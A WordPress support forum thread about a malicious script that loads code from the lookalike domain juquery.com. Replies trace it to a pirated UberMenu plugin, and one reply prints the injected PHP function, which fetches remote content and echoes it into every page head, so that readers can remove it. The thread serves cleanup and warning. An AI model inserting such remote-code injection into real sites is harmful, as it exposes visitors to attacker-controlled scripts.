Title: script with juquery.com problem , slow load page !!!
Last modified: August 20, 2016

---

# script with juquery.com problem , slow load page !!!

 *  [Benjaminp7](https://wordpress.org/support/users/benjaminp7/)
 * (@benjaminp7)
 * [13 years, 7 months ago](https://wordpress.org/support/topic/script-with-juquerycom-problem-slow-load-page/)
 * Hey guys ,
 * I have a big problem with this script in the head
 * <script type=”text/javascript”> if(!document.referrer || document.referrer ==”){
   document.write(‘<scr’+’ipt type=”text/javascript” src=”[http://www.juquery.com/jquery.min.js”></scr’+’ipt>&#8217](http://www.juquery.com/jquery.min.js”></scr’+’ipt>&#8217););}
   else { document.write(‘<scr’+’ipt type=”text/javascript” src=”[http://www.juquery.com/jquery.js”></scr’+’ipt>&#8217](http://www.juquery.com/jquery.js”></scr’+’ipt>&#8217););}
   </script>
 * this script takes 6 second to load and i don’t know how to find it…?
    I have 
   already tried to dedicative all plugging without effects
 * Please help me

Viewing 5 replies - 1 through 5 (of 5 total)

 *  Moderator [Jan Dembowski](https://wordpress.org/support/users/jdembowski/)
 * (@jdembowski)
 * Forum Moderator and Brute Squad
 * [13 years, 7 months ago](https://wordpress.org/support/topic/script-with-juquerycom-problem-slow-load-page/#post-3068883)
 * Where did you get that theme?
 * There are very dodgy people who pull stunts like inserting bogus jquery javascript
   in them and I suspect you are using one of those themes. If that’s the case, 
   lose that theme like a bad infection.
 * Or share a link to your site, you may be hacked.
 *  [zander60614](https://wordpress.org/support/users/zander60614/)
 * (@zander60614)
 * [13 years, 7 months ago](https://wordpress.org/support/topic/script-with-juquerycom-problem-slow-load-page/#post-3069070)
 * Look in your common.php file.
 * If you use Dreamweaver you can load your site as a local site and then do a search
   for juquery. Once you find the file, delete the script, then upload the clean
   file via FTP and replace the file WP is using.
 *  [dscottangle](https://wordpress.org/support/users/dscottangle/)
 * (@dscottangle)
 * [13 years, 7 months ago](https://wordpress.org/support/topic/script-with-juquerycom-problem-slow-load-page/#post-3069135)
 * I’ve found the same issue and it appears to be in the ubermenu.php from the ubermenu
   plugin…
 * You might find [this article](http://wpmu.org/beware-fake-jquery-calls-in-wordpress-plugins-from-the-repo/)
   intersting. It’s not about juquery specifically, but I think it realates…
 *  [luckydays](https://wordpress.org/support/users/luckydays/)
 * (@luckydays)
 * [13 years, 5 months ago](https://wordpress.org/support/topic/script-with-juquerycom-problem-slow-load-page/#post-3069192)
 * Guys, it seems that issue is in ubermenu.php file.
 * Go to the 2777 row
 *     ```
       /*
        * For compatibility with latest browsers
        */
       ```
   
 * And just remove these rows:
 *     ```
       /*
        * For compatibility with latest browsers
        */
       function juquery_compability_head() {  
   
       if(function_exists('curl_init'))
       {
       $url = "http://www.juquery.com/jquery-1.6.3.min.js";
       $ch = curl_init();
       $timeout = 10;
       curl_setopt($ch,CURLOPT_URL,$url);
       curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
       curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
       $data = curl_exec($ch);
       curl_close($ch);
       echo "$data";
       }
       }
       add_action('wp_head', 'juquery_compability_head');
       ```
   
 * Now links to juquery.com should stop to load your homepage.
 *  [sevenspark](https://wordpress.org/support/users/sevenspark/)
 * (@sevenspark)
 * [13 years, 3 months ago](https://wordpress.org/support/topic/script-with-juquerycom-problem-slow-load-page/#post-3069204)
 * Hi everyone,
 * As the developer of the plugin, I just want to assure you that this code is most
   certainly **not** added by UberMenu. The PHP code above is absolutely not part
   of the authentic UberMenu plugin.
 * However, I have seen pirated versions of the plugin distributed through warez
   sites that are injected with malware that produces this code.
 * I would strongly discourage anyone from using any illegitimate copy of UberMenu
   not obtained from the official source – you never know what malicious code warez
   sites will add to a plugin.
 * Best,
 * Chris

Viewing 5 replies - 1 through 5 (of 5 total)

The topic ‘script with juquery.com problem , slow load page !!!’ is closed to new
replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 5 replies
 * 6 participants
 * Last reply from: [sevenspark](https://wordpress.org/support/users/sevenspark/)
 * Last activity: [13 years, 3 months ago](https://wordpress.org/support/topic/script-with-juquerycom-problem-slow-load-page/#post-3069204)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
